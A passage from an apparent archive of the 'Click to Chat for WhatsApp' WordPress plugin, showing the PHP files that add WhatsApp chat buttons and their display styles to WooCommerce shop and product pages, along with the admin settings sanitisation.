                        <p class="description ctc_init_display_none woo_shop_add_whatsapp_settings"><a target="_blank" href="https://holithemes.com/plugins/click-to-chat/whatsapp-chat-in-woocommerce-shop-page/"><?php _e( 'WooCommerce Shop page', 'click-to-chat-for-whatsapp' ); ?></a></p>
                    </details>
                    <br><br>
                </div>
            </div>

            <div id="add_whatsapp_tab-3" class="col s12 md_tab">
                <div class="ctc_md_tab">
                    <?php 
                    
                    if ( ! defined( 'HT_CTC_PRO_VERSION' ) ) {
                        ?>
                        <p class="description">
                            PRO: Apply business hours settings to WhatsApp added in WooCommerce Pages (single product, Shop).
                        </p>
                        <?php
                    }

                    do_action('ht_ctc_ah_admin_after_woo_settings'); 
                    ?>
                    <br><br>
                </div>
            </div>


        </div>
        


        <?php

    }




    /**
     * Sanitize each setting field as needed
     *
     * @param array $input Contains all settings fields as array keys
     */
    public function options_sanitize( $input ) {

        if ( ! current_user_can( 'manage_options' ) ) {
            wp_die( 'not allowed to modify - please contact admin ' );
        }

        $editor = [];
        $editor = apply_filters( 'ht_ctc_fh_greetings_setting_editor_values', $editor );

        // formatting api - emoji ..
        include_once HT_CTC_PLUGIN_DIR .'new/admin/admin_commons/ht-ctc-admin-formatting.php';

        $new_input = array();

        foreach ($input as $key => $value) {
            if( isset( $input[$key] ) ) {

                if ( 'woo_pre_filled' == $key || 'woo_shop_pre_filled' == $key ) {
                    if ( function_exists('sanitize_textarea_field') ) {
                        $new_input[$key] = sanitize_textarea_field( $input[$key] );
                    } else {
                        $new_input[$key] = sanitize_text_field( $input[$key] );
                    }
                } else if ( in_array( $key, $editor ) ) {
                    // editor
                    if ( !empty( $input[$key]) && '' !== $input[$key] && function_exists('ht_ctc_wp_sanitize_text_editor') ) {
                        $new_input[$key] = ht_ctc_wp_sanitize_text_editor( $input[$key] );
                    } else {
                        // save field even if the value is empty..
                        $new_input[$key] = sanitize_text_field( $input[$key] );
                    }
                } else if ( 'woo_single_margin_top' == $key || 'woo_single_margin_bottom' == $key || 'woo_single_margin_left' == $key || 'woo_single_margin_right' == $key || 'woo_shop_margin_top' == $key || 'woo_shop_margin_bottom' == $key || 'woo_shop_margin_left' == $key || 'woo_shop_margin_right' == $key ) {
                    $input[$key] = str_replace( ' ', '', $input[$key] );
                    if ( is_numeric($input[$key]) ) {
                        $input[$key] = $input[$key] . 'px';
                    }
                    $new_input[$key] = sanitize_text_field( $input[$key] );
                } else {
                    $new_input[$key] = sanitize_text_field( $input[$key] );
                }
            }
        }

        // l10n
        foreach ($input as $key => $value) {
            if ( 'woo_pre_filled' == $key || 'woo_call_to_action' == $key || 'woo_shop_pre_filled' == $key || 'woo_shop_call_to_action' == $key) {
                do_action( 'wpml_register_single_string', 'Click to Chat for WhatsApp', $key, $input[$key] );
            }
        }

        do_action('ht_ctc_ah_admin_after_sanitize' );

        return $new_input;
    }


}

new HT_CTC_Admin_Woo_Page();

endif; // END class_exists checkclick-to-chat-for-whatsapp/new/tools/woo/class-ht-ctc-woo.php000064400000034652147510273110020147 0ustar00<?php
/**
 * woocommerce related front end.
 * 
 * @package ctc
 * @since 2.9
 */

if ( ! defined( 'ABSPATH' ) ) exit;

if ( ! class_exists( 'HT_CTC_WOO_Pages' ) ) :

class HT_CTC_WOO_Pages {

    public function __construct() {
        $this->woo_hooks();
    }
    
    // Hooks
    public function woo_hooks() {

        $woo = get_option('ht_ctc_woo_options');
        
        // chat - woo values
        add_filter( 'ht_ctc_fh_chat', array($this, 'chat') );

        // woo places
        $woo_position = ( isset( $woo['woo_position']) ) ? esc_attr( $woo['woo_position'] ) : 'select';
        if ('select' !== $woo_position) {
            add_action( $woo_position, [$this, 'call_add_styles'] );
        }

        // shop page - add styles
        if ( isset( $woo['woo_shop_add_whatsapp']) ) {
            add_action( 'woocommerce_after_shop_loop_item', [$this, 'shop_page_add_styles'], 20 );
        }

        // cart page
        // add_action( 'woocommerce_after_cart_totals', [$this, 'after_cart_totals'] );

        // checkout page


    }


    /**
     * in cart page.
     */
    // function after_cart_totals() {
    //     foreach ( WC()->cart->get_cart() as $cart_item ) {
    //         $product = $cart_item['data'];
    //     }
    // }


    /**
     * Shop page, archive items add style..
     */
    function shop_page_add_styles() {

        $woo_options = get_option('ht_ctc_woo_options');
        $chat = get_option('ht_ctc_chat_options');
        $type = 'chat';
        $calling_from = 'woo_page';

        $ht_ctc_woo_shop = array();

        $ht_ctc_woo_shop['style'] = ( isset( $woo_options['woo_shop_style']) ) ? esc_attr( $woo_options['woo_shop_style'] ) : '8';
        
        /**
         * call to action 
         * shop call to action - if not - shop page level - if not - call to action .. 
         * here variables works based on the product .. {url} its product url not the page url..
         */
        $call_to_action = ( isset( $woo_options['woo_shop_call_to_action']) ) ? esc_attr( $woo_options['woo_shop_call_to_action'] ) : '';
        if ( '' == $call_to_action ) {
            $call_to_action = (isset($ht_ctc_pagelevel['call_to_action'])) ? esc_attr($ht_ctc_pagelevel['call_to_action']) : esc_attr( $chat['call_to_action'] );
        }
        
        $pre_filled = ( isset( $woo_options['woo_shop_pre_filled']) ) ? esc_attr( $woo_options['woo_shop_pre_filled'] ) : '';
        if ( '' == $pre_filled ) {
            $pre_filled = (isset($ht_ctc_pagelevel['pre_filled'])) ? esc_attr($ht_ctc_pagelevel['pre_filled']) : esc_attr( $chat['pre_filled'] );
        }


        if ( function_exists( 'wc_get_product' ) ) {
            $product = wc_get_product();
            
            $name = $product->get_name();
            // $title = $product->get_title();

            $price = $product->get_price();
            $regular_price = $product->get_regular_price();
            $sku = $product->get_sku();

            // variables works in default pre_filled also for woo pages.
            $call_to_action = str_replace( array('{product}', '{price}', '{regular_price}', '{sku}' ),  array( $name, $price, $regular_price, $sku ), $call_to_action );
            $pre_filled = str_replace( array('{product}', '{price}', '{regular_price}', '{sku}' ),  array( $name, $price, $regular_price, $sku ), $pre_filled );
        }

        $page_url = get_permalink();
        $post_title = esc_html( get_the_title() );

        $pre_filled = str_replace( array('{url}', '{title}', '{site}' ),  array( $page_url, $post_title, HT_CTC_BLOG_NAME ), $pre_filled );


        $woo_shop_margin_top = ( isset( $woo_options['woo_shop_margin_top']) ) ? esc_attr( $woo_options['woo_shop_margin_top'] ) : '';
        $woo_shop_layout_cart_btn = ( isset( $woo_options['woo_shop_layout_cart_btn']) ) ? esc_attr( $woo_options['woo_shop_layout_cart_btn'] ) : '';
        $woo_shop_margin_right = ( isset( $woo_options['woo_shop_margin_right']) ) ? esc_attr( $woo_options['woo_shop_margin_right'] ) : '';
        $woo_shop_margin_bottom = ( isset( $woo_options['woo_shop_margin_bottom']) ) ? esc_attr( $woo_options['woo_shop_margin_bottom'] ) : '';
        $woo_shop_margin_left = ( isset( $woo_options['woo_shop_margin_left']) ) ? esc_attr( $woo_options['woo_shop_margin_left'] ) : '';


        $css = '';
        $css .= "cursor:pointer;";

        if ( isset($woo_options['woo_shop_position_center']) ) {
            $css .= "text-align: center;";
        }

        if ('' !== $woo_shop_margin_left) {
            $css .= "margin-left:$woo_shop_margin_left;";
        }
        if ('' !== $woo_shop_margin_right) {
            $css .= "margin-right:$woo_shop_margin_right;";
        }
        if ('' !== $woo_shop_margin_top) {
            $css .= "margin-top:$woo_shop_margin_top;";
        }
        if ('' !== $woo_shop_margin_bottom) {
            $css .= "margin-bottom:$woo_shop_margin_bottom;";
        }

        $class_names = "";
        $class_names .= "ctc_chat ctc_woo_place";

        $display_from_js = '';

        // shop cart layout 
        if ('' !== $woo_shop_layout_cart_btn) {
            if ('1' == $ht_ctc_woo_shop['style'] || '8' == $ht_ctc_woo_shop['style'] ) {
                $class_names .= " ctc_woo_shop_cart_layout";
                $display_from_js = 'yes';
            }
        }

        $ht_ctc_woo_shop['shop_schedule'] = 'no';

        $woo_shop_block_type = 'block';

        // filter hook
        $ht_ctc_woo_shop = apply_filters( 'ht_ctc_fh_woo_shop', $ht_ctc_woo_shop );

        if ('yes' == $ht_ctc_woo_shop['shop_schedule']) {
            $class_names .= " ctc_woo_schedule";
            $display_from_js = 'yes';
        }

        if ('yes' == $display_from_js) {
            $css .= "display: none;";
        } else {
            $css .= "display: $woo_shop_block_type;";
        }

        $path = plugin_dir_path( HT_CTC_PLUGIN_FILE ) . 'new/inc/styles/style-' . $ht_ctc_woo_shop['style']. '.php';

        if ( is_file( $path ) ) {
            ?>
            <div class="<?= $class_names ?>" style="<?= $css ?>" data-pre_filled="<?= $pre_filled ?>" data-dt="<?= $woo_shop_block_type ?>">
                <?php include $path; ?>
            </div>
            <?php
        }

    }


    // call add styles if its woo single product page..
    function call_add_styles() {

        if ( function_exists( 'is_product' ) && function_exists( 'wc_get_product' )) {
            if ( is_product() ) {
                $this->add_styles();
            }
        }

    }

    /**
     * woo places - add styles..
     * 
     * woo-single-styles/woo-style- .php .. specific to the single product pages.
     * 
     */
    function add_styles() {
        
        $woo_options = get_option('ht_ctc_woo_options');
        $chat = get_option('ht_ctc_chat_options');
        $page_id = get_the_ID();
        $ht_ctc_pagelevel = get_post_meta( $page_id, 'ht_ctc_pagelevel', true );

        $type = 'chat';
        $calling_from = 'woo_page';

        $ht_ctc_woo_single_product = array();

        $ht_ctc_woo_single_product['style'] = ( isset( $woo_options['woo_style']) ) ? esc_attr( $woo_options['woo_style'] ) : '8';

        // $side_2 = 'right';

        $page_display = (isset($ht_ctc_pagelevel['show_hide'])) ? esc_attr($ht_ctc_pagelevel['show_hide']) : '';

        if ( 'hide' == $page_display ) {
            return;
        }   

        // call to action
        $call_to_action = (isset($ht_ctc_pagelevel['call_to_action'])) ? esc_attr($ht_ctc_pagelevel['call_to_action']) : esc_attr( $chat['call_to_action'] );
        if ( !isset($ht_ctc_pagelevel['call_to_action']) && isset( $woo_options['woo_call_to_action'] ) && '' !== $woo_options['woo_call_to_action'] ) {
            $call_to_action = esc_attr( $woo_options['woo_call_to_action'] );
        }

        include_once HT_CTC_PLUGIN_DIR .'new/inc/commons/ht-ctc-formatting.php';
        if ( function_exists('ht_ctc_woo_single_product_page_variables') ) {
            $call_to_action = ht_ctc_woo_single_product_page_variables( $call_to_action );
        }

        $woo_single_position_center = ( isset( $woo_options['woo_single_position_center']) ) ? esc_attr( $woo_options['woo_single_position_center'] ) : '';
        $woo_single_layout_cart_btn = ( isset( $woo_options['woo_single_layout_cart_btn']) ) ? esc_attr( $woo_options['woo_single_layout_cart_btn'] ) : '';
        $woo_single_margin_top = ( isset( $woo_options['woo_single_margin_top']) ) ? esc_attr( $woo_options['woo_single_margin_top'] ) : '';
        $woo_single_margin_right = ( isset( $woo_options['woo_single_margin_right']) ) ? esc_attr( $woo_options['woo_single_margin_right'] ) : '';
        $woo_single_margin_bottom = ( isset( $woo_options['woo_single_margin_bottom']) ) ? esc_attr( $woo_options['woo_single_margin_bottom'] ) : '';
        $woo_single_margin_left = ( isset( $woo_options['woo_single_margin_left']) ) ? esc_attr( $woo_options['woo_single_margin_left'] ) : '';
        
        $woo_single_block_type = ( isset( $woo_options['woo_single_block_type']) ) ? esc_attr( $woo_options['woo_single_block_type'] ) : 'inline-block';

        $css = "cursor:pointer;";

        if ( isset($woo_options['woo_single_position_center']) ) {
            $css .= "text-align: center;";
        }


        if ('' !== $woo_single_margin_left) {
            $css .= "margin-left:$woo_single_margin_left;";
        }
        if ('' !== $woo_single_margin_right) {
            $css .= "margin-right:$woo_single_margin_right;";
        }
        if ('' !== $woo_single_margin_top) {
            $css .= "margin-top:$woo_single_margin_top;";
        }
        if ('' !== $woo_single_margin_bottom) {
            $css .= "margin-bottom:$woo_single_margin_bottom;";
        }

        $class_names = "";
        $class_names .= "ctc_chat ctc_woo_place";

        $display_from_js = '';

        // single - cart layout
        if ('' !== $woo_single_layout_cart_btn) {
            if ('1' == $ht_ctc_woo_single_product['style'] || '8' == $ht_ctc_woo_single_product['style'] ) {
                $class_names .= " ctc_woo_single_cart_layout";
                $display_from_js = 'yes';
            }
        }

        $ht_ctc_woo_single_product['single_schedule'] = 'no';

        // filter hook
        $ht_ctc_woo_single_product = apply_filters( 'ht_ctc_fh_woo_single_product', $ht_ctc_woo_single_product );

        if ('yes' == $ht_ctc_woo_single_product['single_schedule']) {
            $class_names .= " ctc_woo_schedule";
            $display_from_js = 'yes';
        } 

        $style = $ht_ctc_woo_single_product['style'];

        // if ( 'inline-block' == $woo_single_block_type ) {
        //     $woo_single_block_type = "inline-flex";
        // }
        
        if ('yes' == $display_from_js) {
            $css .= "display: none;";
        } else {
            $css .= "display: $woo_single_block_type;";
        }

        // woo-single-styles/woo-style- .php .. specific to the single product pages.
        $path = plugin_dir_path( HT_CTC_PLUGIN_FILE ) . 'new/tools/woo/woo-single-styles/woo-style-' . $style. '.php';

        if ( is_file( $path ) ) {
            ?>
            <div class="<?= $class_names ?>" style="<?= $css ?>" data-dt="<?= $woo_single_block_type ?>">
                <?php include $path; ?>
            </div>
            <?php
        }
    }



    function chat( $ht_ctc_chat ) {
        
        $woo_options = get_option('ht_ctc_woo_options');

        // $chat = get_option('ht_ctc_chat_options');

        // if woocommerce single product page
        if ( function_exists( 'is_product' ) && function_exists( 'wc_get_product' )) {
            if ( is_product() ) {
                
                $name = '';
                $price = '';
                $regular_price = '';
                $sku = '';
                
                $product = wc_get_product();

                if ( is_object($product) && method_exists($product, 'get_name') ) {
                    $name = $product->get_name();
                    // $title = $product->get_title();
                    $price = $product->get_price();
                    $regular_price = $product->get_regular_price();
                    $sku = $product->get_sku();
                }

                $page_id = get_the_ID();
                $ht_ctc_pagelevel = get_post_meta( $page_id, 'ht_ctc_pagelevel', true );


                // pre-filled
                if ( isset( $woo_options['woo_pre_filled'] ) && '' !== $woo_options['woo_pre_filled'] ) {
                    $ht_ctc_chat['pre_filled'] = esc_attr( $woo_options['woo_pre_filled'] );
                    $ht_ctc_chat['pre_filled'] = apply_filters( 'wpml_translate_single_string', $ht_ctc_chat['pre_filled'], 'Click to Chat for WhatsApp', 'woo_pre_filled' );
                }

                // page level settings - woo 
                if ( isset($ht_ctc_pagelevel['pre_filled']) ) {
                    $ht_ctc_chat['pre_filled'] = esc_attr($ht_ctc_pagelevel['pre_filled']);
                }

                // variables works in default pre_filled also for woo pages.
                $ht_ctc_chat['pre_filled'] = str_replace( array('{product}', '{price}', '{regular_price}', '{sku}' ),  array( $name, $price, $regular_price, $sku ), $ht_ctc_chat['pre_filled'] );

                // call to action
                if ( isset( $woo_options['woo_call_to_action'] ) && '' !== $woo_options['woo_call_to_action'] ) {
                    $ht_ctc_chat['call_to_action'] = esc_attr( $woo_options['woo_call_to_action'] );
                    $ht_ctc_chat['call_to_action'] = apply_filters( 'wpml_translate_single_string', $ht_ctc_chat['call_to_action'], 'Click to Chat for WhatsApp', 'woo_call_to_action' );
                }
                
                // page level settings - woo 
                if ( isset($ht_ctc_pagelevel['call_to_action']) ) {
                    $ht_ctc_chat['call_to_action'] = esc_attr($ht_ctc_pagelevel['call_to_action']);
                }

                $ht_ctc_chat['call_to_action'] = str_replace( array('{product}', '{price}', '{regular_price}', '{sku}' ),  array( $name, $price, $regular_price, $sku ), $ht_ctc_chat['call_to_action'] );

            }
        }

        return $ht_ctc_chat;
    }




}

new HT_CTC_WOO_Pages();

endif; // END class_exists checkclick-to-chat-for-whatsapp/new/tools/woo/ht-ctc-woo.php000064400000001774147510273110017043 0ustar00<?php
/**
 * Init WooCommerce
 * 
 * @included from ht-ctc.php using init hook
 */

if ( ! defined( 'ABSPATH' ) ) exit;

if ( ! class_exists( 'HT_CTC_WOO' ) ) :

class HT_CTC_WOO {

    public function __construct() {
        $this->woo_init();
    }


    function woo_init() {

        // if woocommece plugin in active (checking this way works as now)
        if ( class_exists( 'WooCommerce' ) ) {
    
            if ( is_admin() ) {
                // woo admin
                // woo admin page
                add_action( 'ht_ctc_ah_admin_includes_after_main_page', array($this, 'admin_page') );
            } else {
                // woo public
                include_once HT_CTC_PLUGIN_DIR .'new/tools/woo/class-ht-ctc-woo.php';
            }

        }
    }

    function admin_page() {

        include_once HT_CTC_PLUGIN_DIR .'new/tools/woo/woo-admin/class-ht-ctc-admin-woo-page.php';

    }
    




}

new HT_CTC_WOO();

endif; // END class_exists checkclick-to-chat-for-whatsapp/new/tools/woo/woo-single-styles/woo-style-3.php000064400000003342147510273110022556 0ustar00<?php
/**
 * Style - 3
 * 
 * WhatsApp icon
 * 
 */

if ( ! defined( 'ABSPATH' ) ) exit;

$s3_options = get_option( 'ht_ctc_s3' );
$s3_options = apply_filters( 'ht_ctc_fh_s3_options', $s3_options );
$s3_type = ( isset( $s3_options['s3_type']) ) ? esc_attr( $s3_options['s3_type'] ) : 'simple';

$s3_img_size = esc_attr( $s3_options['s3_img_size'] );
$img_size = esc_attr( $s3_options['s3_img_size'] );
if ( '' == $img_size ) {
    $img_size = "50px";
}

$rtl_css = "";
if ( function_exists('is_rtl') && is_rtl() ) {
    $rtl_css = "flex-direction:row-reverse;";
}

$s3_css = "display:inline-flex;justify-content:center;align-items:center;$rtl_css ";
$s3_cta_textcolor = (isset( $s3_options['cta_textcolor'])) ? esc_attr( $s3_options['cta_textcolor'] ) : '';
$s3_cta_bgcolor = (isset( $s3_options['cta_bgcolor'])) ? esc_attr( $s3_options['cta_bgcolor'] ) : '#ffffff';
$s3_cta_font_size = (isset( $s3_options['cta_font_size'])) ? esc_attr( $s3_options['cta_font_size'] ) : '';

$s3_cta_textcolor = ('' !== $s3_cta_textcolor) ? "color: $s3_cta_textcolor" : "";
$s3_cta_bgcolor = ('' !== $s3_cta_bgcolor) ? "background-color: $s3_cta_bgcolor" : "";
$s3_cta_font_size = ('' !== $s3_cta_font_size) ? "font-size: $s3_cta_font_size" : "";

$s3_cta_css = "padding: 0px 16px; line-height: 1.6; $s3_cta_font_size; $s3_cta_bgcolor; $s3_cta_textcolor; border-radius:10px; margin:0 10px; ";
$s3_cta_class = "ht-ctc-cta ";


$ht_ctc_svg_css = "pointer-events:none; display:block; height:$img_size; width:$img_size;";

include_once HT_CTC_PLUGIN_DIR .'new/inc/assets/img/ht-ctc-svg-images.php';

?>
<div title="<?= $call_to_action ?>" style="<?= $s3_css ?>">
    <?= ht_ctc_style_3_svg( $img_size, $type, $ht_ctc_svg_css ); ?>
</div>click-to-chat-for-whatsapp/new/tools/woo/woo-single-styles/woo-style-4.php000064400000004136147510273110022561 0ustar00<?php
/**
 * Style - 4
 * 
 * Chip
 * 
 */

if ( ! defined( 'ABSPATH' ) ) exit;

$s4_options = get_option( 'ht_ctc_s4' );
$s4_options = apply_filters( 'ht_ctc_fh_s4_options', $s4_options );

$s4_text_color = esc_attr( $s4_options['s4_text_color'] );
$s4_bg_color = esc_attr( $s4_options['s4_bg_color'] );
$s4_img_url = esc_attr( $s4_options['s4_img_url'] );
$s4_img_position = ( isset( $s4_options['s4_img_position']) ) ? esc_attr( $s4_options['s4_img_position'] ) : 'left';
$s4_img_size = ( isset( $s4_options['s4_img_size']) ) ? esc_attr( $s4_options['s4_img_size'] ) : '';
if ( '' == $s4_img_size ) {
    $s4_img_size = "32px";
}

if ( '' == $call_to_action ) {
    $call_to_action = "WhatsApp us";
}

if ( 'left' == $s4_img_position ) {
    $s4_margin = "0 8px 0 -12px;";
    // $s4_margin = "0 8px 0 -13px;";
    $s4_order = "0";
} else {
    $s4_margin = "0 -12px 0 8px;";
    $s4_order = "1";
}

$rtl_css = "";
if ( is_rtl() ) {
    $rtl_css = "flex-direction:row-reverse;";
}


$s4_chip_css = "display:inline-flex;justify-content: center;align-items: center;background-color:$s4_bg_color;color:$s4_text_color;padding:0 12px;border-radius:25px;font-size:13px;line-height:32px;$rtl_css ";
$s4_chip_svg_css ="margin:$s4_margin;order:$s4_order;";
$s4_chip_img_css ="margin:$s4_margin;order:$s4_order;height:$s4_img_size;width:$s4_img_size;border-radius:50%";
$ht_ctc_svg_css = "pointer-events:none; display: block; height:$s4_img_size; width:$s4_img_size;";
?>

<div class="ctc_chip ctc-analytics" style="<?= $s4_chip_css ?>">
    <?php
    if ( '' == $s4_img_url ) {
        include_once HT_CTC_PLUGIN_DIR .'new/inc/assets/img/ht-ctc-svg-images.php';
        $type = "$type-s4";
        ?>
        <span style="<?= $s4_chip_svg_css ?>"><?= ht_ctc_style_3_svg( $s4_img_size, $type, $ht_ctc_svg_css ); ?></span>
        <?php
    } else {
        // if user changed the image
        ?>
        <img style="<?= $s4_chip_img_css ?>" src="<?= $s4_img_url ?>" alt="<?= $call_to_action ?>">
        <?php
    }
    ?>
    <span class="ctc_cta"><?= $call_to_action ?></span>
</div>click-to-chat-for-whatsapp/new/tools/woo/woo-single-styles/woo-style-7_1.php000064400000006115147510273110023003 0ustar00<?php
/**
 * Style - 7
 * icon with customize padding
 */
if ( ! defined( 'ABSPATH' ) ) exit;

$s7_1_options = get_option( 'ht_ctc_s7_1' );
$s7_1_options = apply_filters( 'ht_ctc_fh_s7_1_options', $s7_1_options );

$s7_icon_size = esc_attr( $s7_1_options['s7_icon_size'] );
$s7_icon_color = esc_attr( $s7_1_options['s7_icon_color'] );
$s7_icon_color_hover = esc_attr( $s7_1_options['s7_icon_color_hover'] );
$s7_bgcolor = esc_attr( $s7_1_options['s7_bgcolor'] );
$s7_bgcolor_hover = esc_attr( $s7_1_options['s7_bgcolor_hover'] );
$s7_border_size = esc_attr( $s7_1_options['s7_border_size'] );

// Call to action 
$s7_cta_type = (isset( $s7_1_options['cta_type'])) ? esc_attr( $s7_1_options['cta_type'] ) : 'hover';
$s7_1_cta_font_size = (isset( $s7_1_options['cta_font_size'])) ? esc_attr( $s7_1_options['cta_font_size'] ) : '';

$s7_1_cta_font_size = ('' !== $s7_1_cta_font_size) ? "font-size: $s7_1_cta_font_size" : "";

// Call to action - Order
$s7_cta_order = "1";
$s7_hover_cta_padding_css = "padding-right: 21px;";
$s7_show_cta_padding_css = "padding:5px 10px 5px 20px;";
if ( isset($side_2) && 'right' == $side_2) {
    // if side_2 is right then cta is left
    $s7_cta_order = "0";
    $s7_hover_cta_padding_css = "padding-left: 21px;";
    $s7_show_cta_padding_css = "padding:5px 20px 5px 5px;";
}

$rtl_css = "";
if ( function_exists('is_rtl') && is_rtl() ) {
    $rtl_css = "flex-direction:row-reverse;";

    if ( isset($side_2) && 'right' == $side_2) {
        $s7_show_cta_padding_css = "padding:5px 10px 5px 20px;";
    } else {
        $s7_show_cta_padding_css = "padding:5px 20px 5px 10px;";
    }
}

$s7_n1_styles = "display:inline-flex;justify-content:center;align-items:center;$rtl_css ";
$s7_cta_css = "$s7_1_cta_font_size; ";
$s7_icon_padding_css = "";
$s7_cta_class = "ht-ctc-cta ";
$s7_hover_styles = "";

$s7_n1_styles .= "$s7_show_cta_padding_css background-color:$s7_bgcolor;border-radius:25px;";
$s7_cta_css .= " color: $s7_icon_color; border-radius:10px; margin:0 10px; order: $s7_cta_order; ";
$s7_icon_padding_css .= "";
$s7_hover_styles = ".ht-ctc .ctc_s_7_1:hover{background-color:$s7_bgcolor_hover !important;}.ht-ctc .ctc_s_7_1:hover .ctc_s_7_1_cta{color:$s7_icon_color_hover !important;}.ht-ctc .ctc_s_7_1:hover svg g path{fill:$s7_icon_color_hover !important;}";

// svg values
$ht_ctc_svg_css = "pointer-events:none; display:block; height:$s7_icon_size; width:$s7_icon_size;";
$s7_svg_attrs = array(
    'color' => "$s7_icon_color",
    'icon_size' => "$s7_icon_size",
    'type' => "$type",
    'ht_ctc_svg_css' => "$ht_ctc_svg_css",
);


include_once HT_CTC_PLUGIN_DIR .'new/inc/assets/img/ht-ctc-svg-images.php';
?>
<style id="ht-ctc-s7_1">
<?= $s7_hover_styles ?>
</style>

<div class="ctc_s_7_1 ctc-analytics" style="<?= $s7_n1_styles; ?>">
    <p class="ctc_s_7_1_cta ctc-analytics ctc_cta <?= $s7_cta_class ?>" style="<?= $s7_cta_css ?>"><?= $call_to_action; ?></p>
    <div class="ctc_s_7_icon_padding ctc-analytics " style="<?= $s7_icon_padding_css ?>">
        <?= ht_ctc_singlecolor( $s7_svg_attrs ); ?>
    </div>
</div>click-to-chat-for-whatsapp/new/tools/woo/woo-single-styles/woo-style-5.php000064400000007176147510273110022571 0ustar00<?php
/**
 * Style - 5
 * image with content slider
 */

if ( ! defined( 'ABSPATH' ) ) exit;

$s5_options = get_option( 'ht_ctc_s5' );
$s5_options = apply_filters( 'ht_ctc_fh_s5_options', $s5_options );

$s5_line_1 = esc_attr( $s5_options['s5_line_1'] );
$s5_line_2 = esc_attr( $s5_options['s5_line_2'] );
$s5_line_1_color = esc_attr( $s5_options['s5_line_1_color'] );
$s5_line_2_color = esc_attr( $s5_options['s5_line_2_color'] );
$s5_background_color = esc_attr( $s5_options['s5_background_color'] );
$s5_border_color = esc_attr( $s5_options['s5_border_color'] );
$s5_img = esc_attr( $s5_options['s5_img'] );
$s5_img_height = esc_attr( $s5_options['s5_img_height'] );
$s5_img_width = esc_attr( $s5_options['s5_img_width'] );
$s5_content_height = esc_attr( $s5_options['s5_content_height'] );
$s5_content_width = esc_attr( $s5_options['s5_content_width'] );
$s5_img_position = esc_attr( $s5_options['s5_img_position'] );

// if its came from woo page.. 
if ( isset($calling_from) && 'woo_page' == $calling_from ) {
    $s5_img_position = 'left';
}

// default image - if user not added any image
if ( '' == $s5_img ) {
    $s5_img = plugins_url( './new/inc/assets/img/new_style8.jpg', HT_CTC_PLUGIN_FILE );
}

if ( '' == $s5_line_1 ) {
    $s5_line_1 = $call_to_action;
}

$rtl_css = "";
if ( function_exists('is_rtl') && is_rtl() ) {
    $rtl_css = "flex-direction:row-reverse;";
}

$s5_cta_style = "display: -ms-flexbox;display: -webkit-flex; display: flex;$rtl_css ";


$s5_img_style = '';
$s5_img_style .= 'height: '.$s5_img_height.'; width: '.$s5_img_width.'; z-index: 999999;  ';
if ( 'right' == $s5_img_position ) {
    $s5_img_style .= 'order: 1;';
}

$s5_content_style = '';
$s5_content_style .= 'flex-direction: column; justify-content: center; align-items: center;    ';
$s5_content_style .= ' background-color: '.$s5_background_color.'; border: 1px solid '.$s5_border_color.'; height: '.$s5_content_height.'; width: '.$s5_content_width.';  ';
if ( 'right' == $s5_img_position ) {
    $s5_content_style .= 'margin-right: -4px;';
} elseif ( 'left' == $s5_img_position ) {
    $s5_content_style .= 'margin-left: -4px;';
}

$s5_css_code = '
.ht-ctc-style-5 .s5_img{box-shadow:2px 5px 10px rgba(0,0,0,.5)}.ht-ctc-style-5 .s5_content{box-shadow:2px 5px 10px rgba(0,0,0,.5);border-radius:5px}.ht-ctc-style-5 .s5_content span{padding:5px;overflow:hidden}.ht-ctc-style-5 .s5_content .heading{font-size:20px}.ht-ctc-style-5 .s5_content .description{font-size:12px}.ht-ctc-style-5 .s5_content.right{animation:1s s5_translate_right}.ht-ctc-style-5 .s5_content.left{animation:1s s5_translate_left}@keyframes s5_translate_right{0%{transform:translateX(55px)}100%{transform:translateX(0)}}@keyframes s5_translate_left{0%{transform:translateX(-55px)}100%{transform:translateX(0)}}
';

$o = '';
$o .= '<style>';
$o .= '.ht-ctc-style-5 .s5_content{display:none}.ht-ctc-style-5 .s5_cta:hover .s5_content{display:flex}';
$o .= $s5_css_code;
$o .= '</style>';

echo $o;

?>

<div class="ht-ctc-style-5 ctc-analytics" style="cursor: pointer; z-index: 99999999;" >

    <div class="s5_cta" style="<?= $s5_cta_style ?>"   >
        <img class="s5_img ctc-analytics" src="<?= $s5_img ?>" style="<?= $s5_img_style ?>" alt="<?= $call_to_action ?>">
        <div class="s5_content ctc-analytics ctc_cta_stick <?= $s5_img_position ?>" style="<?= $s5_content_style ?>" >
            <span class="heading ctc-analytics ctc_cta" style="color: <?= $s5_line_1_color ?>"><?= $s5_line_1 ?></span>
            <span class="description ctc-analytics" style="color: <?= $s5_line_2_color ?>"><?= $s5_line_2 ?></span>
        </div>
    </div>

</div>
click-to-chat-for-whatsapp/new/tools/woo/woo-single-styles/woo-style-2.php000064400000002140147510273110022550 0ustar00<?php
/**
 * Style - 2
 * 
 * Android like - WhatsApp icon
 * 
 * @included from
 *  class-ht-ctc-chat.php (class-ht-ctc- chat/group/share .php)
 *  class-ht-ctc-woo.php
 * 
 * External variable are from included files:
 *  $call_to_action
 */

if ( ! defined( 'ABSPATH' ) ) exit;

$s2_options = get_option( 'ht_ctc_s2' );
$s2_options = apply_filters( 'ht_ctc_fh_s2_options', $s2_options );

$s2_img_size = esc_attr( $s2_options['s2_img_size'] );
$img_size = esc_attr( $s2_options['s2_img_size'] );
if ( '' == $img_size ) {
    $img_size = "50px";
}

$rtl_css = "";
if ( function_exists('is_rtl') && is_rtl() ) {
    $rtl_css = "flex-direction:row-reverse;";
}

$s2_css = "display:inline-flex; justify-content: center; align-items: center; $rtl_css ";

$ht_ctc_svg_css = "pointer-events:none; display:block; height:$img_size; width:$img_size;";

include_once HT_CTC_PLUGIN_DIR .'new/inc/assets/img/ht-ctc-svg-images.php';
?>
<div title="<?= $call_to_action ?>" style="<?= $s2_css; ?>" class="ctc-analytics">
    <?= ht_ctc_style_2_svg( $img_size, $type, $ht_ctc_svg_css ); ?>
</div>click-to-chat-for-whatsapp/new/tools/woo/woo-single-styles/woo-style-99.php000064400000003113147510273110022651 0ustar00<?php
/**
 * Style - 99
 * own image / GIF
 */
if ( ! defined( 'ABSPATH' ) ) exit;

$s_99_options = get_option( 'ht_ctc_s99' );
$s_99_options = apply_filters( 'ht_ctc_fh_s99_options', $s_99_options );

$s_99_desktop_img_height = esc_attr( $s_99_options['s99_desktop_img_height'] );
$s_99_desktop_img_width = esc_attr( $s_99_options['s99_desktop_img_width'] );
$s_99_mobile_img_height = esc_attr( $s_99_options['s99_mobile_img_height'] );
$s_99_mobile_img_width = esc_attr( $s_99_options['s99_mobile_img_width'] );

// img - url, width, height based on device
$s_99_img_css = "";

if( isset($is_mobile) && 'yes' == $is_mobile ) {
